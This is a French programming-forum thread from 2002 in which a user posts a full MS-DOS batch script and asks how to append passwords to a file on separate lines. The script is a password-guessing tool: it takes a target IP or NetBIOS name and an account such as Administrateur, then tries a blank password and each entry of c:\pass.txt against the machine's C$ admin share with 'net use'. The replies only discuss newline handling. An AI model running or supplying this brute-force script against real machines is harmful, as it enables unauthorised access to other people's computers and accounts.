j'ai besoin d'aide sous MS-DOS...

j'ai besoin d'aide sous MS-DOS... - Programmation

Marsh Posté le 26-08-2002 à 12:20:39    

Voila le prog :
 
@echo off
:debut
cls
@echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
@echo º                                                      º
@echo º Testeur de mot de passe sur le compte administrateur º
@echo º                                                      º
@echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
@echo.
@echo.
@echo Tapez Help comme adresse IP pour obtenir l'aide...
@echo Tapez Add pour ajouter un mot de passe...
@echo.
@echo.
set /p IP=Adresse IP ou nom Netbios :  
if %IP%==HELP goto help
if %IP%==Help goto help
if %IP%==help goto help
if %IP%==Add goto Add
if %IP%==ADD goto Add
if %IP%==add goto Add
set %%i=
set %%j=
@echo.
@echo.
:COMPTE
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º1-Administrateur        º
echo º2-Cfgmicro              º
echo º3-Trend                 º
echo º4-Invit?                º
echo º5-Autre...              º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
@echo.
set /p COMPTE=Compte ? utiliser :
if %COMPTE%==1 (set COMPTE=Administrateur
goto GO)
if %COMPTE%==2 (set COMPTE=Cfgmicro
goto GO)
if %COMPTE%==3 (set COMPTE=Trend
goto GO)
if %COMPTE%==4 (set COMPTE=invite
goto GO)
@echo.
@echo.
set /p COMPTE=Nom du compte ? utiliser :  
@echo.
:GO
cls
@echo   ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
@echo.
@echo   Testeur de mot de passe sur le compte %COMPTE%
@echo.
@echo   ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
@echo.
@echo.
@echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
@echo Test de mot de passe vide...
net use * \\%IP%\c$ /user:%COMPTE% ""
@echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
for /F "tokens=1" %%i in (c:\pass.txt) do (echo Mot de passe test? : %%i
net use * \\%IP%\c$ /user:%COMPTE% %%i
@echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ)
@echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
@echo.
@echo Toutes les possibilit?s de pass.txt ont ete test?es...
@echo.
goto fin
:help
cls
@echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
@echo º                 º
@echo º Rubrique d aide º
@echo º                 º
@echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
@echo.
@echo.
@echo.
@echo.
@echo Tapez le nom netbios ou l'adresse IP de l'ordinateur cible
@echo le programme se chargera de tester tout les mots de passes
@echo contenu dans c:\pass.txt
@echo Pour connaitre le mot de passe qui fonctionne, il suffit
@echo de regarder dans la liste des essais celui n'indiquant
@echo pas d erreur.
@echo.
@echo.
@echo Programme cr?? et developp? par xxxx xxxxxxxx
@echo.
@echo.
@echo.
goto fin
:Add
Cls
Set /p MDP=Mot de passe ? ajouter : ?
echo %MDP% >> c:\pass.txt
@echo.
@echo.
@echo.
@echo Mots de passe ajout?...
@echo.
@echo.
:fin
set /p QUESTION=Quitter (O/N) ?  
if %QUESTION%==O goto END
if %QUESTION%==o goto END
if %QUESTION%==N goto debut
if %QUESTION%==n goto debut
cls
goto fin
:END
cls
@echo on
 
Seulement voila j'aimerai que dans pass.txt
il mette le mot qu'on ajoute dans la rubrique add
mais en le mettant a la ligne
c'est a dire, au lieu de :
xxxyyyy
un truc comme :
xxx
yyyy

Reply

Marsh Posté le 26-08-2002 à 12:20:39   

Reply

Marsh Posté le 26-08-2002 à 12:22:27    

Et après ???


---------------
J'ai un string dans l'array (Paris Hilton)
Reply

Marsh Posté le 26-08-2002 à 12:53:13    

Harkonnen a écrit a écrit :

Et après ???




Ben comment faire ???

Reply

Marsh Posté le 26-08-2002 à 14:01:06    

:heink:  
C quoi ce souk ? T'as pas édité ton post ?? Il en manquait la moitié qd je t'ai répondu !!!  :heink:  
Joooooce !!!
 
Ben sinon, pour ton prob, tu rajoutes un \r\n à la fin de chaque ligne, et voila, tu obtiens ton retour à la ligne


---------------
J'ai un string dans l'array (Paris Hilton)
Reply

Marsh Posté le 26-08-2002 à 14:05:42    

Harkonnen a écrit a écrit :

 :heink:  
C quoi ce souk ? T'as pas édité ton post ?? Il en manquait la moitié qd je t'ai répondu !!!  :heink:  
Joooooce !!!
 
Ben sinon, pour ton prob, tu rajoutes un \r\n à la fin de chaque ligne, et voila, tu obtiens ton retour à la ligne




Non je m'était embrouillé les pinceaux !!!
 :D  
/r = ???
/n = ???

Reply

Marsh Posté le 26-08-2002 à 14:10:46    

echo %MDP% >> c:\pass.txt /r/n
Ca ne marche pas  :(  
echo %MDP% >> c:\pass.txt \r\n
Ca non plus...

Reply

Marsh Posté le 26-08-2002 à 14:22:00    

Euh, non, c'est dans ton fichier que tu dois insérer les codes ASCII de ces caractères (0x0D pour \r et 0x0A pour \n).
Je sais pas si en bat, on peut faire un truc du style  
echo '\r\n' >> C:\pass.txt
Sinon, tu te fais un petit prog qui ouvrira ton fichier pass.txt, et qui rajoutera ces caractères à la fin de chaque ligne.


---------------
J'ai un string dans l'array (Paris Hilton)
Reply

Marsh Posté le 26-08-2002 à 14:29:27    

Je sais pas si ça peut marcher avec retour chariot, mais quand on voulait faire un saut de page, on faisait ECHO puis ALT puis 012 (le code de FF).
Vu que c'est un code actif à l'écran, le saut de ligne, je pense pas que ça marche.
 
Il est possible, pour passe casser la tête, de faire un fichier d'un octet comportant le code de saut de ligne (ou de 2 octets si CR et LF indispensables, il me semble que le DOS ajoute LF quand on envoie CR, mais ma mémoire défaille).
 
Suffit alors de concaténer ce fichier à pass.txt puis le nouveau mot de passe.
qq chose comme
copy cr.txt >> c:\pass.txt (/B(inary) utile ?? ou type cr.txt >> c:\pass.txt)
puis
echo %MDP% >> c:\pass.txt
 
Je viens d'essayer (sous Win NT4) la commande DOS
echo puis Alt puis 012 puis > puis d:\cr.txt
dans CR.TXT, il y a 0D et 0A donc CR et LF !!! (C'est pas ce que je voulais, mais bon..).

Reply

Marsh Posté le 26-08-2002 à 14:44:28    

J'ai trouvé une solution...
je créé un fichier texte contenant juste un retour a la ligne puis je fais copy pass.txt+entree.txt ensuite je fais echo test >> pass.txt
et ca marche !
c pas propre mais ca marche... :D

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed